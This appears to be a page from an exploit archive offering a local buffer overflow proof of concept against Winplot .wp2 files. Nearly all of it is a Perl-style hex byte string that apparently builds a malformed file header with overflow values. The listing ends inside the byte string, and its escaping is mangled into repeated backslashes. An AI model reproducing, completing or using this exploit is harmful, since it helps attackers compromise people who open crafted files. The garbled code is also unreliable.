r00tsecurity -> Exploit & Advisory Center :: Winplot (.wp2 File) Local Buffer Overflow Exploit

LOGGED IN AS Viz0n [ Profile | Myr00t | Logout ]

Resource Database Index -> Exploits & Advisories -> Winplot (.wp2 File) Local Buffer Overflow Exploit

Description // Info

Winplot (.wp2 File) Local Buffer Overflow Exploit

Exploit // Proof of Concept

$header1 =
\\\"\\\\x49\\\\x03\\\\x00\\\\x00\\\\x19\\\\x00\\\\x00\\\\x00\\\\x30\\\\x00\\\\x00\\\\x00\\\\x2e\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x0e\\\\x02\\\\x00\\\\x00\\\\x0e\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x3d\\\\x00\\\\x00\\\\x00\\\\xd9\\\\xff\\\\xff\\\\xff\\\\x2c\\\\x01\\\\x00\\\\x00\\\\x64\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x64\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x0a\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x0f\\\\x00\\\\x00\\\\x00\\\\x2b\\\\xd0\\\\x28\\\\x01\\\\x49\\\\x1e\\\\x29\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x0c\\\\x00\\\\x00\\\\x00\\\\x0a\\\\x00\\\\x00\\\\x00\\\\x0a\\\\x00\\\\x00\\\\x00\\\\x08\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x0c\\\\x00\\\\x00\\\\x00\\\\x0a\\\\x00\\\\x00\\\\x00\\\\x0a\\\\x00\\\\x00\\\\x00\\\\x0a\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x0a\\\\x00\\\\x00\\\\x00\\\\x0a\\\\x00\\\\x00\\\\x00\\\\xf0\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x90\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x08\\\\x02\\\\x01\\\\x31\\\\x43\\\\x6f\\\\x75\\\\x72\\\\x69\\\\x65\\\\x72\\\\x20\\\\x4e\\\\x65\\\\x77\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf3\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x90\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x08\\\\x02\\\\x01\\\\x31\\\".
\\\"\\\\x53\\\\x79\\\\x6d\\\\x62\\\\x6f\\\\x6c\\\\x00\\\\x20\\\\x4e\\\\x65\\\\x77\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\xf3\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x90\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x02\\\\x01\\\\x31\\\\x43\\\\x6f\\\\x75\\\\x72\\\".
\\\"\\\\x69\\\\x65\\\\x72\\\\x20\\\\x4e\\\\x65\\\\x77\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf5\\\\xff\\\\xff\\\\xff\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x90\\\\x01\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x02\\\\x01\\\\x31\\\\x43\\\\x6f\\\\x75\\\\x72\\\\x69\\\\x65\\\\x72\\\\x20\\\".
\\\"\\\\x4e\\\\x65\\\\x77\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf0\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x90\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x08\\\\x02\\\\x01\\\\x02\\\\x54\\\\x69\\\\x6d\\\\x65\\\\x73\\\\x00\\\\x72\\\\x20\\\\x4e\\\\x65\\\\x77\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf3\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x90\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x02\\\\x01\\\\x02\\\".
\\\"\\\\x54\\\\x69\\\\x6d\\\\x65\\\\x73\\\\x00\\\\x72\\\\x20\\\\x4e\\\\x65\\\\x77\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\xf3\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x90\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x02\\\\x01\\\\x31\\\\x43\\\\x6f\\\\x75\\\\x72\\\".
\\\"\\\\x69\\\\x65\\\\x72\\\\x20\\\\x4e\\\\x65\\\\x77\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf3\\\\xff\\\\xff\\\\xff\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x90\\\\x01\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x02\\\\x01\\\\x31\\\\x43\\\\x6f\\\\x75\\\\x72\\\\x69\\\\x65\\\\x72\\\\x20\\\".
\\\"\\\\x4e\\\\x65\\\\x77\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf3\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x90\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x08\\\\x02\\\\x01\\\\x31\\\\x43\\\\x6f\\\\x75\\\\x72\\\\x69\\\\x65\\\\x72\\\\x20\\\\x4e\\\\x65\\\\x77\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf3\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x90\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x02\\\\x01\\\\x31\\\".
\\\"\\\\x43\\\\x6f\\\\x75\\\\x72\\\\x69\\\\x65\\\\x72\\\\x20\\\\x4e\\\\x65\\\\x77\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xf2\\\\x12\\\\x00\\\\xbd\\\\x9f\\\\x51\\\\x00\\\".
\\\"\\\\x0c\\\\x30\\\\x54\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xf2\\\\x12\\\\x00\\\\xbd\\\\x9f\\\\x51\\\".
\\\"\\\\x00\\\\x0c\\\\x30\\\\x54\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xf2\\\\x12\\\\x00\\\\xbd\\\\x9f\\\".
\\\"\\\\x51\\\\x00\\\\x0c\\\\x30\\\\x54\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xf2\\\\x12\\\\x00\\\\xbd\\\".
\\\"\\\\x9f\\\\x51\\\\x00\\\\x0c\\\\x30\\\\x54\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x04\\\\x00\\\".
\\\"\\\\x06\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x06\\\\x00\\\\x05\\\\x00\\\\x16\\\\x00\\\\x18\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x15\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\".
\\\"\\\\xff\\\\x00\\\\xff\\\\x00\\\\xff\\\\x00\\\\xff\\\\xff\\\\x00\\\\x00\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\xbf\\\".
\\\"\\\\x3f\\\\x00\\\\x00\\\\x00\\\\xff\\\\x00\\\\x00\\\\x7f\\\\x7f\\\\x00\\\\xff\\\\x7f\\\\x00\\\\x00\\\\xff\\\\x00\\\".
\\\"\\\\x7f\\\\x00\\\\xa0\\\\x2f\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\\x00\\\\xbf\\\\xbf\\\\x7f\\\\x00\\\\x7f\\\\x00\\\".
\\\"\\\\x7f\\\\x00\\\\x20\\\\xff\\\\x00\\\\x00\\\\xff\\\\x7f\\\\x7f\\\\x00\\\\x87\\\\x87\\\\x00\\\\x00\\\\x00\\\\x3c\\\".
\\\"\\\\xa0\\\\x00\\\\xe0\\\\xe0\\\\xe0\\\\x00\\\\xc0\\\\xc0\\\\xc0\\\\x00\\\\xa0\\\\xa0\\\\xa0\\\\x00\\\\x80\\\\x80\\\".
\\\"\\\\x80\\\\x00\\\\x60\\\\x60\\\\x60\\\\x00\\\\x40\\\\x40\\\\x40\\\\x00\\\\xbf\\\\x00\\\\x3f\\\\x00\\\\x7e\\\\xde\\\".
\\\"\\\\xff\\\\x00\\\\xff\\\\xcc\\\\xcc\\\\x00\\\\xff\\\\x7e\\\\xde\\\\x00\\\\xff\\\\xde\\\\x7e\\\\x00\\\\xde\\\\xff\\\".
\\\"\\\\x7e\\\\x00\\\\x7e\\\\xff\\\\xde\\\\x00\\\\xff\\\\xff\\\\xbf\\\\x00\\\\xff\\\\xbf\\\\xff\\\\x00\\\\xbf\\\\xff\\\".
\\\"\\\\xff\\\\x00\\\\xff\\\\xff\\\\xde\\\\x00\\\\xff\\\\xde\\\\xff\\\\x00\\\\xde\\\\xff\\\\xff\\\\x00\\\\xb1\\\\xde\\\".
\\\"\\\\xd4\\\\x00\\\\xb1\\\\xd4\\\\xde\\\\x00\\\\xd4\\\\xb1\\\\xde\\\\x00\\\\xd4\\\\xde\\\\xb1\\\\x00\\\\xde\\\\xb1\\\".
\\\"\\\\xd4\\\\x00\\\\xde\\\\xd4\\\\xb1\\\\x00\\\\xbf\\\\xf1\\\\xde\\\\x00\\\\xbf\\\\xde\\\\xf1\\\\x00\\\\xde\\\\xf1\\\".
\\\"\\\\xbf\\\\x00\\\\xde\\\\xbf\\\\xf1\\\\x00\\\\xf1\\\\xde\\\\xbf\\\\x00\\\\xf1\\\\xbf\\\\xde\\\\x00\\\\xff\\\\x96\\\".
\\\"\\\\xea\\\\x00\\\\x96\\\\xea\\\\xff\\\\x00\\\\xcc\\\\xcc\\\\xcc\\\\x00\\\\xc8\\\\x70\\\\x00\\\\x00\\\\xde\\\\xcd\\\".
\\\"\\\\x00\\\\x00\\\\xde\\\\x68\\\\x20\\\\x00\\\\x14\\\\x82\\\\x28\\\\x00\\\\xc0\\\\x00\\\\xa0\\\\x00\\\\xd4\\\\x28\\\".
\\\"\\\\x28\\\\x00\\\\x50\\\\x84\\\\xb0\\\\x00\\\\x64\\\\xa0\\\\xc8\\\\x00\\\\x14\\\\x64\\\\x14\\\\x00\\\\x05\\\\x00\\\".
\\\"\\\\x7d\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x01\\\\x00\\\\x01\\\\x00\\\\x0a\\\\x00\\\\x05\\\\x00\\\\x02\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x64\\\\x00\\\\x03\\\\x00\\\\x3c\\\\x00\\\\x07\\\\x00\\\\x0f\\\\x00\\\\x01\\\\x00\\\\x03\\\\x00\\\".
\\\"\\\\x08\\\\x00\\\\x0c\\\\x00\\\\x1e\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x01\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x70\\\\x00\\\\x0c\\\\x00\\\".
\\\"\\\\x14\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x7b\\\\x03\\\\xff\\\\xff\\\\x32\\\\x00\\\\x00\\\\x00\\\\xb0\\\\x00\\\".
\\\"\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x01\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x01\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x01\\\\x00\\\\x00\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\".
\\\"\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x01\\\\x40\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x01\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\".
\\\"\\\\x01\\\\x40\\\\x66\\\\x33\\\\x44\\\\xe9\\\\x5c\\\\x36\\\\x43\\\\x94\\\\x01\\\\xc0\\\\x66\\\\x33\\\\x44\\\\xe9\\\".
\\\"\\\\x5c\\\\x36\\\\x43\\\\x94\\\\x01\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf0\\\\x04\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\".
\\\"\\\\x05\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf0\\\\x04\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x80\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\x00\\\\x40\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\x00\\\\x40\\\\x00\\\\x30\\\\x33\\\\x33\\\\x33\\\\x33\\\\x33\\\\xb3\\\".
\\\"\\\\xfe\\\\x3f\\\\x00\\\\xd0\\\\xcc\\\\xcc\\\\xcc\\\\xcc\\\\xcc\\\\xcc\\\\xfb\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x01\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xa8\\\\x5e\\\\xdf\\\\x9b\\\\x4f\\\\x77\\\\xd6\\\\xfb\\\\x3f\\\\x00\\\\x48\\\\xe1\\\\x7a\\\\x14\\\\xae\\\".
\\\"\\\\x47\\\\x81\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xc0\\\".
\\\"\\\\xfe\\\\x3f\\\\x7f\\\\x00\\\\x20\\\\x62\\\\x7e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf0\\\\xf4\\\\x12\\\\x00\\\".
\\\"\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xf6\\\\x12\\\\x00\\\\x60\\\\x48\\\\x40\\\\x00\\\".
\\\"\\\\x38\\\\x03\\\\x03\\\\x00\\\\xf0\\\\xf4\\\\x12\\\\x00\\\\x78\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x01\\\\x40\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xfa\\\\x08\\\\x40\\\\x00\\\\xd0\\\\xcc\\\\xcc\\\\xcc\\\\xcc\\\\xcc\\\\xcc\\\".
\\\"\\\\xfb\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x9c\\\\x0c\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xc8\\\\x07\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x96\\\\x06\\\\x40\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xc8\\\\x05\\\\x40\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x01\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xfa\\\\x08\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x01\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xc8\\\\x05\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x01\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xc8\\\".
\\\"\\\\x05\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x80\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\x00\\\\x40\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x01\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\xcc\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x14\\\\x00\\\".
\\\"\\\\x01\\\\x00\\\\x0f\\\\x00\\\\x05\\\\x00\\\\x16\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x14\\\\x00\\\\x32\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x01\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xd0\\\\xcc\\\".
\\\"\\\\xcc\\\\xcc\\\\xcc\\\\xcc\\\\xcc\\\\xfc\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
